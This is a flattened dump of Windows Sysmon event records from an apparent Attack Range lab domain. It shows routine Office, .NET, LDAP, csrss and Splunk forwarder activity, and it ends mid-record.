18141800x800000000000000041169Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 354300x800000000000000041168Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:04.658{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59219-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000041167Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:04.658{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\System32\dfsrs.exeNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59219-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000041166Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:04.647{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59218-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 18141800x800000000000000041165Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.409{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 354300x800000000000000041164Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:04.646{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\System32\dfsrs.exeNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59218-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 18141800x800000000000000041163Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.393{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041162Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.331{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041161Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.331{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041160Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.331{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041159Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.331{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041158Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.331{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041157Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.331{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041156Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.331{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041155Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.315{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041154Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.299{7BD73061-65B0-613B-0B00-00000000F001}620828C:\Windows\system32\lsass.exe{7BD73061-6F37-613B-9208-00000000F001}6884C:\Program Files\Microsoft Office\root\integration\integrator.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041153Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.299{7BD73061-65B0-613B-0B00-00000000F001}620828C:\Windows\system32\lsass.exe{7BD73061-6F37-613B-9208-00000000F001}6884C:\Program Files\Microsoft Office\root\integration\integrator.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000041152Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.299{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041151Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.268{7BD73061-6F37-613B-9308-00000000F001}34283628C:\Windows\system32\conhost.exe{7BD73061-6F37-613B-9208-00000000F001}6884C:\Program Files\Microsoft Office\root\integration\integrator.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000041150Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.253{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041149Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.253{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041148Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.253{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041147Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.237{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F37-613B-9308-00000000F001}3428C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041146Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.237{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F37-613B-9208-00000000F001}6884C:\Program Files\Microsoft Office\root\integration\integrator.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041145Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.237{7BD73061-6E00-613B-E006-00000000F001}59921372C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-6F37-613B-9208-00000000F001}6884C:\Program Files\Microsoft Office\root\integration\integrator.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+546a1|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+544db|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+54149|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+5669a|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+56528|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+d9e0c|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+452924|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+620c4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+d4ccf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+2394a2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+174aca|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000041144Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.221{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FC931FC58D23E4031FB69A8DC2C6F9C5,SHA256=5F850B1268DB3A2C1BEC89F35FFBCFA48314DAE44A22EBD1DEC4BA332301597E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041143Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.221{7BD73061-6F34-613B-7908-00000000F001}860NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Office\OTele\integrator.exe.db-walMD5=1882D21179A4238CC19F79C91A8D2A62,SHA256=427E2853AFF9E9AA75A8AC4FF78C416DE378F717BBEA24839857A214F7B20D5C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041142Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.221{7BD73061-6F34-613B-7908-00000000F001}860NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Office\OTele\integrator.exe.db-shmMD5=F1344360A54D687F87D333A2A15C0836,SHA256=C24BEFAE079B1534BDC64815BFCFB815E164FA80160EB9650D9D5D77AF39ABE2,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041141Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.190{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041140Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.143{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041139Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.127{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041138Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.096{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F37-613B-9108-00000000F001}6920C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041137Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.081{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F37-613B-9108-00000000F001}6920C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041136Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.081{7BD73061-6F29-613B-3408-00000000F001}55565184C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F37-613B-9108-00000000F001}6920C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d19b(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d23f(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d2bd(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 18141800x800000000000000041135Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.065{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041134Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.065{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041133Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.065{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041132Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.065{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041131Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.065{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041130Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.065{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041129Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.065{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000041128Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.049{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9684703497816B536C83DCD9D259E7A4,SHA256=FF88EE65656DEBB964B68A28A751F477CFA3E02CC4E0569D86384753E19E283E,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041127Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.049{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041126Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.034{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F37-613B-9008-00000000F001}6772C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000041125Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:07.034{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041124Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.002{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F37-613B-9008-00000000F001}6772C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041123Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:07.002{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F37-613B-9008-00000000F001}6772C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000013812Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:08.984{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=17944FBEB4AA01C38AE8E44E252C8040,SHA256=521B2EB8D63E719AACAAB887241DEC065F12ADB098D63D3B95EB3C9318794A92,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041349Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.987{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041348Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.924{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041347Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.924{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041346Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.924{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041345Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.924{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041344Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.924{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041343Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.924{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041342Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.924{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041341Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.924{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041340Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.924{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000041339Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.909{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=05A01094000E55CEE40DCCDB6F896725,SHA256=4F552D51F587EF41DDF97B848036EC48A122A71170485831F297A041D99DA040,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000041338Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 